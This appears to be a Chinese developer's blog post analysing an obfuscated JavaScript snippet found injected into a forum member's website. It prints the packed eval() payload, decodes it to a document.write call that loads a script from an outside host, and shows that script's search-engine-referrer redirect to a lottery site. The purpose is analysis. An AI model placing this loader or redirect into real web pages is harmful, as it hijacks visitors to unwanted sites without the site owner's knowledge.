本人即将步入社会的大学生,因为在校自我研究的是关于web安全的一些东西,加上对node的学习,就转了前端开发,目前是一枚标准的实习生。看看最近的一些发现吧。
突然发现图巴克的某个答辩PPT模板不错,想到去吾爱破解论坛,发表一篇悬赏帖。结果无意间的举动,让我看到了论坛网友的 网站被挂混淆js脚本 ,突然来了兴趣-导致到现在 答辩PPT还没搞 。看看 牛逼的 开发人员是怎么 写的这个脚本吧,马上进入分析阶段。
论坛网友发出的帖子内容
<script>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\p\\a\\2\\f\\c\\3\\o\\0"]["\\q\\7\\6\\0\\3"](\'\\j\\1\\2\\7\\6\\5\\0 \\0\\n\\5\\3\\e\\9\\0\\3\\k\\0\\4\\g\\b\\m\\b\\1\\2\\7\\6\\5\\0\\9 \\1\\7\\2\\e\\9\\w\\0\\0\\5\\v\\4\\4\\1\\3\\a\\y\\x\\s\\8\\1\\f\\8\\d\\2\\3\\d\\a\\1\\8\\2\\a\\c\\4\\t\\u\\i\\i\\r\\b\\6\\8\\g\\1\\9\\h\\j\\4\\1\\2\\7\\6\\5\\0\\h\');',35,35,'x74|x73|x63|x65|x2f|x70|x69|x72|x2e|x22|x6f|x61|x6d|x62|x3d|x75|x6a|x3e|x30|x3c|x78|window|x76|x79|x6e|x64|x77|x6b|x38|x31|x33|x3a|x68|x36|x32'.split('|'),0,{}))
</script>
仅过了一番代码格式-美化,看着舒服了,但是在运行的时候,老是提醒我说。缺少了window和document 对象,没window哪来的document。然后--嘿嘿。我就把参数内容先进行处理,在定义到函数内部。
function as (p, k) {
var a = 35, c = 35;
var k = ["x74", "x73", "x63", "x65", "x2f", "x70", "x69", "x72", "x2e", "x22", "x6f", "x61", "x6d", "x62", "x3d", "x75", "x6a", "x3e", "x30", "x3c", "x78", "window", "x76", "x79", "x6e", "x64", "x77", "x6b", "x38", "x31", "x33", "x3a", "x68", "x36", "x32"];
var e = 0, d = {};
e = function (c) {
return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--) d[e(c)] = k[c] || e(c);
k = [
function (e) {
return d[e]
}
];
e = function () {
return '\\w+'
};
c = 1;
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p;
};
as('l["\\p\\a\\2\\f\\c\\3\\o\\0"]["\\q\\7\\6\\0\\3"](\'\\j\\1\\2\\7\\6\\5\\0 \\0\\n\\5\\3\\e\\9\\0\\3\\k\\0\\4\\g\\b\\m\\b\\1\\2\\7\\6\\5\\0\\9 \\1\\7\\2\\e\\9\\w\\0\\0\\5\\v\\4\\4\\1\\3\\a\\y\\x\\s\\8\\1\\f\\8\\d\\2\\3\\d\\a\\1\\8\\2\\a\\c\\4\\t\\u\\i\\i\\r\\b\\6\\8\\g\\1\\9\\h\\j\\4\\1\\2\\7\\6\\5\\0\\h\');')
运行修改后的as() 方法,返回了我想要的结果。
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x33\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
这下好了,js混淆就这么出来了。这算混淆吗--
看到 \x64 这个鬼东西了吗,这是什么鬼,我不认识啊。但是我知道window[' --- '][' ---
'](' ')是调用了window.对象.对象.方法 。看着头疼还是解码下吧。16进制 转字符串,那不是 sou sou 的,直打开个网页新标签,开发者工具,输入 document.write('\x64')就变字符串了。
window["document"]["write"](
'<script type="text/javascript" src="http://seo268.su.bcebos.com/1300kai.js</script>'
);
这不就是先页面写入脚本吗,有什么稀奇的。打开js脚本地址看看吧。
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\'baidu\')>0 || s.indexOf(\'sogou\')>0 || s.indexOf(\'soso\')>0 ||s.indexOf(\'sm\')>0 ||s.indexOf(\'uc\')>0 ||s.indexOf(\'bing\')>0 ||s.indexOf(\'yahoo\')>0 ||s.indexOf(\'so\')>0 )");
document.writeln("location.href=\'http://www.1300kai.com/\';");
document.writeln("</script>");
document.writeln("");
---------------------------------------------------
var s=document.referrer
if(s.indexOf('baidu')>0 || s.indexOf('sogou')>0 || s.indexOf('soso')>0 ||s.indexOf('sm')>0 ||s.indexOf('uc')>0 ||s.indexOf('bing')>0 ||s.indexOf('yahoo')>0 ||s.indexOf('so')>0 )
location.href='http://www.1300kai.com/';
其实,脚本里的内容就是这3句核心代码。饶了这么大一圈 - - - 看看这三句话的意思吧
1、首先调用了document的referrer属性,获取从哪跳转来的地址。
好比如:我在百度网站搜索到了简书,那么这句代码获取到的值就是,百度网址。
2、第二句代码就是判断字符串中是否存在baidu\sogou\soso
等字符串,如果存在则执行 location.href进行跳转,进入这个体彩的网站。
分析完了代码,虽然执行效果没问题但是编程上还是比较欠缺。
indexof()
存在返回首次出现的位置,不存在返回-1。
然而,这位脚本seo却是写的indexOf()>0,如果 ’abcd'.indexOf('a')>0,这么一句草率的代码会怎么样。
学习了一波新知识,开阔了新的道路。以前是挂链-给网站做引流,如果浏览器挖矿也使用了这种套路。我的天-我还要不要去看资源。